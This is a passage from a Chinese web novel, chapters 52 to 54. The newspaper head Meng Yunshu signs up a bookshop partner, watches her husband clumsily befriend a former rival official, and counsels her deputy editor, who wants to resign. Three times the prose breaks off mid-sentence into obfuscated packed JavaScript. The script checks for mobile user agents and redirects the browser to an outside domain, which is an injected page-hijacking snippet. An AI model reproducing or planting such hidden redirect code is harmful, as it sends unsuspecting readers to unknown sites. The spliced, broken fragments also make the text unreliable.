0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791866|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然文昌书坊有过售卖小报的经验,但并没有一套严整的规矩,从事报业相当于从头开始。我担心……” 孟允抒明白郭掌柜这是在向她索要托底的保证,于是会意地说道:“请郭掌柜放心,你所担忧的事我们都早有准备。” 说着,孟允抒摆出了她能提供的帮助:“在你的生意走上正轨之前,我们会尽可能地帮你减少损失。” “既然孟社长的话都说到这份上了,那我也不该再推辞。”郭掌柜冲孟允抒笑笑,却话锋一转道,“只是近日《黎民日报》的销量不佳,即使你准许我们偷摸着卖报,它也不可能弥补我们的损失。你看……” 从郭掌柜的口气中孟允抒听得出,这桩合作已经基本谈成了,只是他还在试探自己的底线,想要从中获取更多利益。 鉴于这种情况,孟允抒不再退让:“郭掌柜,正如你所说,黎民报社近日也是举步维艰,这已经是我们所能拿出手的全部筹码了。若是你觉得还不够,实在不愿同我们合作,我也不会勉强你。” 她佯装惋惜地叹了口气,起身离席道:“但日后我们要是真的做成此事,恐怕就没有虚位留给郭掌柜了。我原本念及你与我交情不浅,想要继续和你共事,只可惜你没能给我这个机会。” 换句话说就是,如果郭掌柜不趁着黎民报社衰微的机会来加盟这个项目,回头等他们缓过劲来了,他后悔都来不及。 “等等。”郭掌柜赶紧撵上孟允抒,在她出门前拦住她,对她赔着笑说:“孟社长误会了。你看,我一句话还没说完呢,你着什么急。” 他请孟允抒重新坐下,再为她斟满了茶水:“关于此事我还有些地方不甚明白,还请孟社长与我详谈。” 文昌书坊的加盟让孟允抒的信心倍增,直到晚间快要下工时,她还在轻快的哼着歌。 她的歌声在办公室大门被敲响的那一刻戛然而止,孟允抒改口说道:“请进。” 萧谨言将门推开一道缝隙,探出个脑袋问:“孟社长,你这会还忙吗?” “不忙。怎么了?” 萧谨言转过头去,一把将身后的人扯了出来:“他一天闲得没事干,到处走街串巷的,还只当旁人和他一样清闲,我怕他打扰你。既然你没什么事,那你们聊。” 说着,他瞪了一眼萧睿言,对方则无视他的警告,向孟允抒报以灿烂的微笑:“孟社长,好久不见。” 萧谨言顿时觉得自己身为兄长的颜面扫地,只能对萧睿言指指点点一番,关上大门退了出去。 趁着这会功夫,孟允抒已经向萧睿言回了礼,请他在桌前坐下后笑道:“睿言,我这一月不在报社,你可没少偷喝我的茶。” 萧睿言用手指摩挲着面前那茶盏上的纹样,气定神闲地答道:“在这场风波中,我好歹也算是出了不少力,没有功劳也有苦劳,孟社长总不至于小气至此,连这么点茶叶都要同我计较。” “大恩不言谢。”萧睿言一个人把他和萧谨言的心眼子都长去了,孟允抒也不和讲那些弯弯绕绕的话,直截了当地问:“你来找我有什么事?” “一来是探视你的伤势如何,二来是询问你的计划施行得可还顺利。”萧睿言像是突然想到了什么,笑着补充了一句:“三来是想和你聊点许大人的事。” “许郎?”孟允抒疑惑道,“他怎么了?” 孟允抒看得出萧睿言极力想控制自己的笑意,但他始终没能成功:“你可知道朝中诸位官员都说,近日许大人性情大变?” 孟允抒反应过来,萧睿言说的应当是许昭主动与其他官员结交的事。在她向许昭提出两人接下来的行动方针后,许昭就坚决地贯彻执行,据他所说,他已经取得了极为显著的成果。 可就算这是一桩好事,萧睿言也不至于乐成这样吧。 孟允抒满腹狐疑地点头:“知道,是我让他这么做的。怎么了?” “没什么。难怪许大人如今比以前热情上千万倍。” 萧睿言笑了一阵,轻咳几声坐正身子:“我待会还有其他事,我们言归正传。” 为了节约时间,孟允抒只好先放下心中的疑惑,将注意力转移到正题上。 52. 直言不讳 黄昏时分,孟允抒下了工,马车照例停在许府正门前。 “夫人,小心脚下。” 在车夫的搀扶下,孟允抒落到地面稳住身形,却忽而听得一阵洪亮的笑声。 她循声望去,只见许府的大门正敞开着,那笑声便是从门内传出的。 孟允抒听着这声音的人数不少,转头问车夫:“府中可是有客人来访?” “对。”车夫已经重新回到车厢前坐好,打算继续赶车,“今日老爷下值后临时起意,邀请了几位大人在府中小聚,这会他们应当也快散了。” 马车不便在门前久留,孟允抒没再细究下去,摆摆手示意车夫去后院解套拴马:“我知道了,你去忙吧。” 她只身向府内走去,刚一跨过门槛便见几个男子大笑着向门口走来,这些人都面色微红,脚步虚浮,闻起来有些酒气,不难让人推测出他们方才所做的事。 孟允抒注意到,虽然这几人的身形因醉酒而左摇右晃,但他们依然衣冠整齐,应当都是些讲究人。 接着,她的目光落到了他们鬓角边、幞头旁别着的秋菊上面。 孟允抒知道胤朝人向来讲究风雅,不论男女老少、贫富贵贱,人人都爱花赏花,士人聚会时更是有簪花饮酒的习俗,可当她真的望见这群大老爷们在头上戴满各色鲜花,看着那些粗枝大叶的样貌配上娇艳欲滴的色彩时,还是差点没忍住笑出声来。 尽管孟允抒觉得他们的情态十分滑稽,却依然在心底赞美这一习俗。 胤朝男子簪花不单是将其作为简单的装饰,更是代表着他们对美的追求。受到这种思想的影响,男性身体也在无形中成为了公众的审美对象,这让不少男子也开始注重其自己的外表来。 打扮得花枝招展也总比蓬头垢面强。 为首的那名官员行至门口,这才在醉眼朦胧中瞥见孟允抒的身影。他顿住脚步定睛打量孟允抒,而后笑呵呵地拉住同行的几个人,向孟允抒行礼问道:“请问这位夫人,你可就是许大人之妻,那位黎民报社的孟社长?” 那场风波闹出来的动静不小,孟允抒的名号也已经在朝中传开。 “正是。”她向几人回礼,微微颔首笑道,“我事先不知几位大人到访,并未留在府中招待,怠慢了诸位,还请各位大人海涵。” “不妨事。”那官员不以为意地摆摆手,大有豪迈之势,“孟社长日理万机,可不能将时间耽误在这种闲事上。” “就是,孟夫人聪慧伶俐,在府中陪着我们反倒是浪费了你的才智。”另一人插进他们的对话中,打量着孟允抒调侃道,“许大人当真是好福分,我们先前只知孟夫人主意正且有手段,今日一见才发现,孟夫人竟有这般沉鱼落雁之貌,堪称秀外慧中。” 在他这句话后,响起了此起彼伏的附和声。 这帮人说话一个比一个好听,孟允抒听着他们把自己越捧越高,适时地转移话题说道:“哪里,几位大人可是稀客,你们愿意赏光来访,才是让许府蓬荜生辉。各位今日在府中可还尽兴?” 几人如此互相恭维一番后,为首的官员大手一挥,结束话题道:“时候不早了,我们先行告辞。” 孟允抒送走几位官员,转身继续向内院走去,和往常一样高声喊道:“许郎,我回——” 她一句话还没说完,便撞见了院中的一场闹剧。 在他们方才聚会的地方,许昭正撵着另一个男子跑,怀里还揣着几颗大石榴。两人绕着桌子围追堵截,许昭注意到孟允抒的动静,却只顾得上抽空对她点了下头,而后又继续往前追去。 他冲前面那男子喊道:“齐大人,你莫不是还对我有意见?” “我都说了没有!”被追的男子一脸愤慨,他没功夫回头,只是咬牙切齿地骂道:“许昭,你近来到底在发什么疯,整日这样吓人!” 孟允抒不明白眼前这是什么状况,赶忙上前加入战局,堵在那名齐大人面前问道:“大人何出此言?” 趁着齐大人愣神的功夫,他身后的许昭追了上来,将怀里的石榴硬塞给他,一本正经地说道:“既然大人对我并无意见,那就请收下这些。” 齐大人面色铁青地抱着满怀的石榴,许昭却好像未曾发现他的不快,笑容满面地把石榴越垒越高:“这些石榴都是今日清晨才买来的,由我精心挑选过,保证其口味甘甜。” 许昭在一旁说得兴致高昂,齐大人的脸色却愈来愈难看。 孟允抒见许昭根本察觉不到齐大人在生气,赶紧出言转移话题,向齐大人行礼道:“齐大人,这些石榴您不好直接带走,我去给您取个口袋来。” “等等。”齐大人看向孟允抒,他腾不出手回礼,只能向她点头致意:“您就是那位孟夫人?” “正是。” 孟允抒将询问的目光投向许昭,但她还没来得及从他那里听到齐大人的具体身份,齐大人又怒气冲冲地开了口。 “好,你们夫妻二人还真是一唱一和。”齐大人看看位列他左右的孟允抒和许昭,气得浑身发抖,却因寡不敌众而无法拒绝许昭的要求,放狠话般地对他说道:“许昭,这次就算你赢了,但下回可不一定。告辞。” 接着,他便抱着满怀的石榴转身离开。 孟允抒还想问他需不需要口袋:“齐大人,您——” “住口。”他头也不回地斩断了孟允抒的话,摇摇晃晃地迈开步子朝门口走去。 方才齐大人和许昭推三阻四时,他的口齿倒还算清晰。现在孟允抒才发现,他好像也不是很清醒。 孟允抒不知道他平日的性情是否也如此古怪,便转头问许昭:“这位齐大人是谁,他的性格向来如此吗?” “他叫齐安阳,现任户部郎中。”许昭叫了几个人来收拾桌椅,拉着孟允抒的手前去书房讲话,“过去他总是看我不顺眼,见了我就没几句好话。我也不知道他是针对我,抑或是本性如此。” 孟允抒听出他话里的愤慨和委屈,不免觉得有些好笑:“那他怎会愿意来府上做客?” “他是在其他几位大人的劝说下才肯赴宴的。”许昭讲起了详情,“此前他不单是与我性格不合,理念也与我大相径庭。严格来说,他曾经还是旧党成员之一。” 孟允抒当即警觉起来:“那他现今是什么想法?” “你别担心,齐大人和程玄平等人不一样。他只是思想古板,对自己的要求也十分严苛。”许昭推开书房大门,让孟允抒和他一同在案旁坐下,“去年齐大人曾因一次失误被皇上降罪,他被贬至绥宁县暂任县丞,上个月才刚刚回来,官复原职。” 绥宁县正是许昭的故乡,一处穷乡僻壤。 “齐大人在绥宁县时,因条件恶劣,许多琐事都要他亲力亲为,还时常得和平民一同劳作。在此过程中,他深入百姓,得知了他们心声,逐渐发现新党的施政方针才是真正的利国利民。”许昭笑了笑,又补充了一句:“当然,他不可能把这些事告诉我,这些都是我从其他官员那听来的。” 孟允抒了然:“所以,在你得知他转变观念后,认为他是可以被拉拢的对象。” “对。”许昭点点头,而后无奈地说道:“我有心与他交好,但他却不领情,一而再再而三地对我口出恶言。所以我想他应当是对我厌恶至极。” 孟允抒觉得不对劲,按照许昭的说法,如果齐安阳真的这么讨厌他,其他官员也不可能劝齐安阳和他们一同来许府赴宴。那些人都精明得很,他们肯定是看出许昭和齐安阳之间的关系有缓和的余地,这才故意假借赴宴的名号让这两人多多接触。 联想到萧睿言那个意味深长的笑容,孟允抒忽然意识到一个潜在的问题。 她自己情人眼里出西施,完全忘记了许昭在社交方式上有自己独到的见解。 她连忙拽着许昭的衣袖问:“你是如何向齐大人示好的?” 许昭回想了一下他这段时间的所作所为,脸上显出认真的神情。 “无论何时,只要我遇见齐大人,都会主动上前同他热情攀谈,问他吃饭了没、昨夜睡得可好、近日公务是否让他忧心,还时常寻各种由头与他共处。除此之外,每当我看到他有麻烦都会出手相助,比如有一本他四处寻不到的古籍,我在集市上发现后就买来送他;朝中有官员对他出言不逊,我就挺身而出替他辩驳……” 许昭滔滔不绝地说着,完全沉浸在了自己的回忆中,丝毫没发现孟允抒正在努力憋笑。 “就拿今日之事来说,齐大人被另外几位大人强行拉来做客,他全程都没怎么说话,只是闷头喝酒。我见他一直盯着面前的石榴,想来他应当是喜欢,却不好意思问我要。”许昭炫耀似地对孟允抒说道,“你和我说过,和他人交往时要学会察言观色。所以我决定主动送他一些。” 孟允抒觉得她快憋出内伤了。许昭真是做阅读理解的天才。 当着那么多人的面,齐安阳显然拉不下脸来同许昭冰释前嫌,也不知道该说些什么,因此只能望着眼前的景象发呆。 许昭见状却得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807156|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出答案,认为齐安阳想要他的石榴。 许昭讲述完他的交友经历,有些不解地蹙起眉头:“可我做了这么多事,齐大人却对我破口大骂,先是说我多管闲事,后来还警告我离他远点。难道是我对他的关心还不够?” 孟允抒实在忍不住笑出了声:“不,我想恰恰相反,是你热情得过头了。” 许昭和齐安阳过去可是针锋相对的政敌,许昭猛然给他来个两极反转,在齐安阳眼里,许昭肯定是不怀好意,甚至有些变态。 面对许昭疑惑的神情,孟允抒勉强止住笑意直起腰来,耐心地替他分析:“过去你们二人水火不容,你突然对齐大人这么好,他当然会猜疑你心怀不轨。或许你可以向其他官员学习,究竟该如何与旁人交往。” 许昭思索片刻,又抬眼看向孟允抒。 “可是,我学不会那些花里胡哨的技巧。而且我认为同他人结交就是如此,以真心换真心。” 他的眼瞳明若朗星,映出孟允抒的身影:“允抒,若是我当初没有向你敞开心扉,我们就不会有开始的可能;如果你先前不向我袒露心迹,你我也不会打破关系的僵局。” 许昭的眼神太过炽热真挚,令孟允抒难以忽略。她愣怔地看着他,一时没能说出话来。 此时她才发现,经历了方才的宴饮,许昭也有几分醉态,素日沉静的面庞上拢着一层轻纱似的薄红,与他鬓边的那两朵丹桂相映成趣。 她起身抚过那些柔软的花瓣,而后将一个吻落在许昭唇边。 “你说得对。是我想得太复杂了。” 孟允抒捧着许昭的脸,低头对他笑道:“我有一套为人处世的方法,你自然也有你的想法。只要能达成我们的目的,你便放手去做。” 在过去,许昭正是凭借这一颗赤子之心交到了好友,那如今就未必行不通。 而且,不管齐大人嘴上怎么说,他终归也收下那些石榴了。 许昭因孟允抒的肯定而信心倍增,他揽住她的腰,手上使了些力气,将人带到自己的怀里,稍稍仰头便又碰上了孟允抒的双唇。 这个姿势让孟允抒站得不甚稳当,两人又吻得极深,没过多久她就察觉到两人体温的骤然升高,赶紧拍拍许昭的肩膀,刹住闸将两人分开。 “这会不行。”她尽力平复狂乱的心跳,向许昭解释道:“我今晚还有正事要做。” 听孟允抒这么说,许昭却还是不肯松开手让她坐下,黏黏糊糊地往她怀里钻。 孟允抒闻见许昭身上沾染着清甜的果酒气味,这让她有一瞬间也产生了微醺的错觉。 再这样下去两人迟早得擦枪走火,孟允抒知道这事是她挑起来的,于是俯身凑到许昭耳边说道:“待会我还要去吃饭,我们没多少空余时间。这样,你先松开我,等我处理完这些事,我们晚上也能早些睡。” 尽管许昭此时的大脑有些混沌,却觉得孟允抒说得在理,于是放手让她坐下,追问她道:“你要做什么?” 孟允抒赶紧谈起正事来,试图以此转移许昭的注意力:“最近我和催雪去谈合作的成果卓著,已经有多家书坊表明愿意改行。所以,我们得趁早准备接下来的培训事项。” 许昭见她一脸严肃,意识到此事的重要性:“培训也是由你和盛姑娘负责吗?” “对。”孟允抒靠向椅背,“我一个人分身乏术,总得有人帮我。眼下报社人手不足,只有催雪最适合做这些。她无论学什么都能很快上手,又胆大不怕生,她的名气也能招来许多听众,这些都有利于我们授课。” 好处说完后,她又道出了心中的担忧。 “只是有一点我始终不大放心。催雪心直口快,难免会让旁人觉得她恃才傲物,引起他人不满。谨言对她的态度转变也能说明这一点。” “我倒不这样觉得。”许昭有些困惑地问,“她不是实话实说吗?” 孟允抒啼笑皆非:“不是每个人的心思都和你一样简单。在那些人听来,催雪就是在批斥甚至辱骂他们。” 许昭陷入沉默,像是在思考孟允抒所说的话。 苦思冥想一番后,他换了个角度安慰孟允抒:“至少到目前为止,盛姑娘将任务完成得非常出色,这证明她能掌握好分寸。而且,她天资聪颖,又有你的指导,你们肯定能顺利做成此事。” 孟允抒看得出,尽管许昭不善言辞,但他在努力想办法给她宽心。 她看着他那副笨拙的模样,不禁笑了起来。有话直说确实很好,或许是她多虑了。 53. 推脱 “孟社长真是辛苦了,快请坐下歇息片刻。” 郭掌柜满面春风地引着孟允抒进了书坊后院的厢房,她刚刚坐下,两名伙计便适时地为他们上了茶。 孟允抒用茶水润了润嗓子,笑着回应郭掌柜方才的话:“哪里,郭掌柜才是最受累的人,我做的这点事不足挂齿。今日培训课程能够有序进行,都要归功于你事先准备周全,安排得当。” 说着,她看向窗外的庭院:“而且,若不是郭掌柜慷慨相助,我们上哪找这么宽敞的场地?” 今日文昌书坊的后院热闹非凡,那里坐满了来自各个书坊的伙计们。再过一段时间,他们就会获得专业化的身份,成为新一批的探官。 届时,正式的报社组织就会如雨后春笋般冒出,在其形成一定的规模后,孟允抒就有理由向官府提交申请,建立报业行会。 郭掌柜被孟允抒夸得眉开眼笑,但还是摆摆手自谦道:“你就别恭维我了。若是我们真能摆脱如玉行会的钳制,以后我们就是同行的兄弟姐妹,自然应当互相扶持。” 郭掌柜作为商人的确是狡诈圆滑,甚至有些斤斤计较,但他也并非时时刻刻都只想着保全自身利益。组织松散定然走不长久,“一荣俱荣”的道理他还是懂得的。 在过去,民间小报并未形成专门的组织,因此即便是售卖小报的书坊也并未对伙计们进行清晰的职能界定,这样不利于分工合作。 于是,孟允抒将报社的基本组织架构和运营方式等告知给这些掌柜,由他们首先将职工分类,确定各部门的人手,而后将探官挑出来接受孟允抒的培训,编辑则交给盛催雪负责,其他部门可以沿用从前书坊运营的经验,或是参考孟允抒为他们编纂的报社运营指南。 为了节省人力和时间,孟允抒决定采取集中培训的方式,将各书坊的伙计都聚集到一处听课。黎民报社的后院被她定为了编辑的培训地点,郭掌柜则主动提出愿意将后院打扫干净,供孟允抒给探官授课使用。 孟允抒一面和郭掌柜闲聊,一面挂念着报社的情况。 按时间推算,盛催雪那边的培训应该也已经结束了。考虑到这是她们二人的首次授课,听众水平又参差不齐,孟允抒和盛催雪提前设计了一份调查问卷,让这些伙计填写课程评价,将意见和建议反馈给她们。 孟允抒见院内那名负责回收问卷的伙计正在整理手中的纸张,便放下手中的茶杯向郭掌柜告辞:“时候差不多了,我也该回报社了,那里还有诸多事务要等我处理。” “好。”郭掌柜也随她起身,一路将她送到文昌书坊门外的马车上,“孟社长慢走,之后还有劳你再跑几趟。” 孟允抒从马车的车窗中探出头来,向他挥手告别:“郭掌柜,希望我们下次也能合作愉快。” 待郭掌柜的身影逐渐模糊在人群当中后,孟允抒从那个大纸袋中抽出几份调查问卷读了起来。 黎民报社和文昌书坊相隔不远,孟允抒还没看完手上的问卷,就听见前面的车夫提醒她已经抵达目的地。 她将那些纸张重新塞好,下车走进报社的前店。 孟允抒跨过门槛,向柜台后正在算账的秋盈打了个招呼:“秋盈,我回来了。” 秋盈闻声抬起头,先让她顿住脚步:“允抒,等等。” 她转头吩咐伙计招呼好客人,而后才从柜台后走出来,拉着她问了些关于培训的问题。 “你放心,一切都很顺利。”孟允抒拍拍秋盈的手,“虽然是首次授课,但每个人都听得很认真,在自由提问环节里,他们还问了许多我先前都没考虑到的问题,这于我们经营报社也有利。” 她讲述了一遍探官培训的情况,又转而问秋盈:“对了,催雪这边情况如何?” 毕竟他们过去从来没举办过类似活动,孟允抒担心出岔子,于是将盛催雪安排在了大本营。万一培训过程中出现什么问题,秋盈也能及时去救场。 “我正要和你说。”秋盈拉了拉孟允抒的袖口,示意她随自己走到墙角,避开众人的耳目。 “在催雪培训的时候,排云曾经从她那里经过几次。我向她打听催雪的授课情况,她告诉我,一切都风平浪静。” 这本该是个好消息,但孟允抒脸上却浮现出困惑的神情。 “风平浪静”可以用来形容任何情景,但唯独不适用于盛催雪主导的场面。 秋盈也十分认同这点,对孟允抒说道:“催雪的作风一向奔放,今日也不知是怎么了。但她授课结束时我曾见过她,她看起来与平日并无分别,还是那副洒脱不羁的模样。” “我知道了。”孟允抒将盛催雪的异常暗暗记下,对秋盈说道,“你先去忙吧,稍后我会去看听课人员的意见反馈。” 孟允抒进了办公室坐下,见她面前的桌上正放着一沓方才回收来的编辑培训课程的调查问卷。于是她先将自己手里的那份问卷先搁置一边,拉来眼前的这摞纸张翻看。 随着她阅读这些问卷的答案,心中的疑惑非但没有减弱分毫,反而愈发强烈。 前来参加培训的人员对课程内容和听课体验的评价都非常好,认为盛催雪的讲述重点突出、条理清晰、通俗易懂,也能够满足他们的培训需求,总体满意度很高。 但在对主讲人评价的那栏里,大部分人都写了这样一条意见。 盛催雪讲课有照本宣科之嫌,很少与听众互动,即使在自由问答环节,她也从不回答超出授课范围的问题,他们的部分困惑始终未能得到解决。 孟允抒觉得,这些人口中所说的盛催雪和她认识的简直不是同一个人。 当初孟允抒为众人留出提问时间,正是为了保证授课的灵活性,以防有她们考虑不周的地方。如果主讲人拒绝回答预定培训内容以外的问题,那这个机制就毫无意义,盛催雪不可能意识不到这一点。 更何况,她的思维灵敏,临场应变能力极强,对付这些人的问题肯定绰绰有余,不存在答不上来的情况。 而且,盛催雪最讨厌一板一眼地做事,她自己怎么会用这种死板僵化的讲课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819748|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式? 孟允抒百思不得其解,索性决定去将盛催雪请来办公室一问究竟。 “催雪,坐。你先喝口水。”她倒了茶水递给盛催雪,对她笑了笑:“盛副主编真是辛苦了,刚刚讲完课又要跑去探官那里催稿。” “孟社长谬赞了,要真论起辛苦来,谁能比得过你?”盛催雪打趣着孟允抒,转动手中的茶杯赞叹道,“怪不得睿言总喜欢往你这跑,你这茶水确实让人回味无穷。” 秋盈说得没错,孟允抒没能从盛催雪的外表上找出任何异样。 她酝酿着语言逐渐切入正题,将面前的问卷推向盛催雪说道:“催雪,这些回收上来的问卷你可曾看过?” “看了。”盛催雪没有伸手去动那沓纸张,用自嘲般的语气对孟允抒说道,“我自知今日表现不佳,你来找我问责也是理所应当。” 说完,她放下手中的茶杯,收敛了笑容坐正身子,摆出俯首认错的模样。 “社长,我认为我能力有限,难当大任。所以,我想请你免除我的副主编一职。” 这句话令孟允抒大惊失色,赶忙将身子前倾问道:“催雪,你开什么玩笑,这事哪有那么严重?” 无论盛催雪走到哪,她都是人群中最耀眼夺目的明星,孟允抒不敢相信,这话居然是从这样一位骄傲明媚的才女口中说出的。 盛催雪却摇摇头:“允抒,你了解报社的每一个人。平日我的确不拘小节,在旁人看来奔放得过头,但你知道我从不会拿这种事开玩笑。” 见盛催雪一脸庄重的神情,孟允抒意识到她是认真的,连忙劝她打消这个念头:“催雪,你也了解我,我很少批斥报社中的职工。我找你来谈话并不是想要追究你的责任,你不要误会。” 而后孟允抒缓和了语气继续说道:“只是既然当下出现了问题,我们就不能对它视而不见。我们一起找出原因,想办法将它解决便是。你告诉我,你今日究竟是怎么了?” 盛催雪抬眼直视着孟允抒,却没有回答她的问题。 “允抒,我果然没有看错,你是一位好社长。报社中无论是谁犯了错,或是出现工作失误,你都不会对那人直接加以惩戒或训斥,也不会把话挑明,强行让他们按照你的意愿行事,而是不动声色地加以引导,鼓励支持着我们得出解决办法。我知道大家都拥戴你,也眼见着报社在你的带领下越办越好。” 盛催雪露出一个明朗的笑容,有一瞬间孟允抒还以为她恢复了往日的模样。 可下一秒,她的这副神情又消失得无影无踪,将自己的脑袋和声音一并低了下去。 “正是因此,我才不能毁掉你的努力。” 盛催雪的声音颤抖起来:“社长,我不想让你为难,但我的确已经支撑不下去了。无论是作为培训主讲人还是报社的副主编,我都并不合格。” 一滴眼泪砸到桌面上,迸出细碎的玉屑。 她又重复了一遍自己刚才说过的话。 “我难以担负这样的重任,请你另请高明吧。” 54. 偶像包袱 盛催雪这句话落音后,孟允抒始终未发一言。过了半晌,办公室内都只能听得见前者的啜泣声。 “我认识的盛催雪从不会说这样的话。” 孟允抒终于开了口,她望着面前低头垂泪的盛催雪,语气坚定却不失温柔:“催雪,抬起头来。” 盛催雪既像是听到了一道命令,又似乎得到了抚慰,于是抻直了脖颈,抬起朦胧的泪眼看向孟允抒。 孟允抒让盛催雪伸出手来,同她的双手紧紧相握:“催雪,不管你现在心里怎么想,都不要回避我说的话。” 盛催雪点了点头,表示她愿意听孟允抒说下去。 孟允抒问她:“过去你总是对你的才智引以为傲,从来不会怀疑自身能力不足。你方才为什么会说,你认为自己身为主讲人和副主编不合格?” “因为我以前太过自大,从未发现自身的缺陷。” 盛催雪讲起了她观念上的转折点。 “社长,先前在你深陷危机的时候,报社群龙无首,维持秩序的责任就落到了我们这些主管的头上。” 那时就是考验他们这些主管能力的时刻。 从结果来看,孟允抒认为自己用人还算得当:“我在刑部大牢待了那么久,出狱后又在家中休养了一月,这期间你们非但没有离职,反而尽心尽力地帮我,报社没有出什么大乱子,而且还能正常运营,这证明你们做得很好。” 盛催雪笑中含泪:“采编部有一半的员工离职,这还不算大乱子吗?” “这不是你们能阻止的事。”孟允抒不以为意,“他们想要明哲保身,不愿受我牵连,这也无可厚非。而且,即使他们这次没有离开,迟早也会因为和我的理念不合而分道扬镳。” “或许吧。”盛催雪看上去并没有被孟允抒说服,“但我知道,是我激化了这种矛盾。” 她看向孟允抒,语气笃定地认罪:“社长,这些人离职和我有很大关系。” 孟允抒明白过来,盛催雪认为,那些人是因为和她起了冲突,被她激怒后一气之下才离开报社。 “你可别把功劳往你自己身上揽。”孟允抒调侃她,“就算没有你,那些人害怕自身被波及,又已经与大部分职工的想法产生分歧,结果一样会离开。” “不是这样的。” 盛催雪的声音很轻,却好像用尽了她浑身的力气。 “在与我争吵时,他们曾对我说过,我总是这样高高在上,似乎世上没有人比我更聪慧、更正确。” 盛催雪垂下眼眸,当时他们产生冲突的场景还历历在目。那些人半是自嘲半是挖苦她地说了很多话。 “他们还告诉我,他们不像我那样出类拔萃,没有底气和实力迎难而上。达不到我的要求,他们对此也感到很抱歉。” 这句话彻底划清了天才与普通人的界限,将盛催雪放在了他们的对立面。此刻,她的才智与名气变成了一道深长的鸿沟。 孟允抒愣了愣神,赶忙安慰她:“人在气头上的话哪能信,你别想太多。” “这不是他们的气话。这些人的确对我积怨已久,那次争吵不过是个爆发点。”盛催雪看向孟允抒说道,“社长,你应当也明白吧。” 孟允抒默不作声,但她不得不在心底承认,盛催雪说得没错。 “在这批离职的员工中,有相当多的一部分曾经被我的名气吸引而来,参加了报社的招聘考试。但在他们入职后,我们相处得并不愉快,他们也逐渐对我心生厌恶。”盛催雪苦笑道,“包括萧主编也是一样。我们都知道此前他对我十分崇敬,但现在他对我的看法又如何呢?” 她轻轻叹了口气:“这些人曾经那样狂热地追捧我,可最后我总会让他们失望,破坏我在他们心中的形象,闹得双方不欢而散。” 孟允抒正要开口,盛催雪示意她先稍等,听自己说完接下来的话。 “社长,我说这些不是想责怪他人。我知道我说话太过直接,常常让人觉得不堪忍受,我也希望我能改掉这点。可我在以往的十九年内都是这样生活的,我对此早已习惯。既然我把握不好分寸,就只能尽量收敛锋芒,谨慎开口。” 孟允抒找到了问题的症结所在。 “所以,你才不敢在今日的培训课程上自由发挥。” “嗯,我担心我又会在不经意间说出不妥的话。但是这样一来,我们的授课效果就会大打折扣。” 盛催雪语气哀伤地说道:“我不明白,过去在我表现出这些缺陷时,有许多人对我大加赞赏,可当我真正来到这些追捧者的面前时,他们又想拼命远离我。可是,我的性情从来都没变过。” 她艰难地说出一句话。 “社长,我不知道该怎么和旁人相处了。” 孟允抒看着她灰暗的眼神,心里五味杂陈。 人们喜欢盛催雪的直率,追崇她的潇洒,赞赏她的傲气,可当他们直面这道耀眼的光芒时,又嫌弃她太过锐利。 因为盛催雪的性情洒脱,又因才华名动京城,孟允抒几乎忘了她原本也只是一个率真单纯、无忧无虑的平凡少女。在来到报社以前,她是自由的飞鸟,在广阔的京城内肆意翱翔,可如今却像是被囚禁在笼中,因众人的指责和批判而收拢双翅,畏缩不前。 孟允抒问她:“你为什么不早点将这些告诉我,或是其他人?” “报社正处在最艰难的时期,我不能给大家添麻烦。况且,那祸端是因我而起,我理应将功补过。” 显而易见,这些日子盛催雪都是在勉强着自己完成孟允抒交给她的任务。如今她能主动说出这些,说明她的确是不堪重负了。 孟允抒有些惭愧。她身为社长,非但没能及时察觉到盛催雪的异常,反而让她的心结打得越来越紧,不断地向她施压。 她本来可以只享受着明星光环,却不用背上沉重的偶像包袱。 “催雪,就像你说的,我从不强迫你们去做事。”孟允抒温声问道,“你告诉我,你还喜欢在报社工作吗?” 尽管情绪低落,盛催雪还是斩钉截铁地给出了肯定答复。 “社长,在旁人看来,我对什么事都充满好奇,只要有感兴趣的事就想去尝试,热情来得也快去得也快。但是,加入报社这件事绝不是我一拍脑袋就做出的决定,而是经过了深思熟虑。” 盛催雪说起了她当初来报社任职的目的。 “我自幼就饱读诗书,平日也总能给自己找乐子解闷。但这样终日无所事事下去,我也觉得没多大意思。后来我读到《黎民日报》上一篇由你写的报道,那篇文章揭露了脚店掌柜克扣伙计血汗钱的行为。在那一瞬间,我忽然有种感觉,这就是我愿意为之奉献的事业。” “于是,我便借着为初晴寻觅良配的机会来到报社实地探察,在确认了你的想法和我一致后,我尝试着干起了这份差事。再后来,我们共同经历了那场针对女子从业的风波,这更让我理解了报业的意义所在,坚定了我留下来的决心。” 盛催雪的这番陈述让孟允抒把接下来的问题改成了肯定句。 “所以,你目前还想继续待在报社。” “没错。我只是想做一名普通的编辑,尽可能地减少与旁人的接触,不要再让他们的期待落空。” 对于普通人而言,盛催雪的批判的确太过尖锐,他们拼尽全力也达不到她的标准,更理解不了她为什么能把困难和危险说得那样云淡风轻。 而盛催雪作为名人想要远离她的粉丝,过上安静的生活,这一诉求也合情合理。 但孟允抒始终觉得,她不能就这样答应盛催雪。 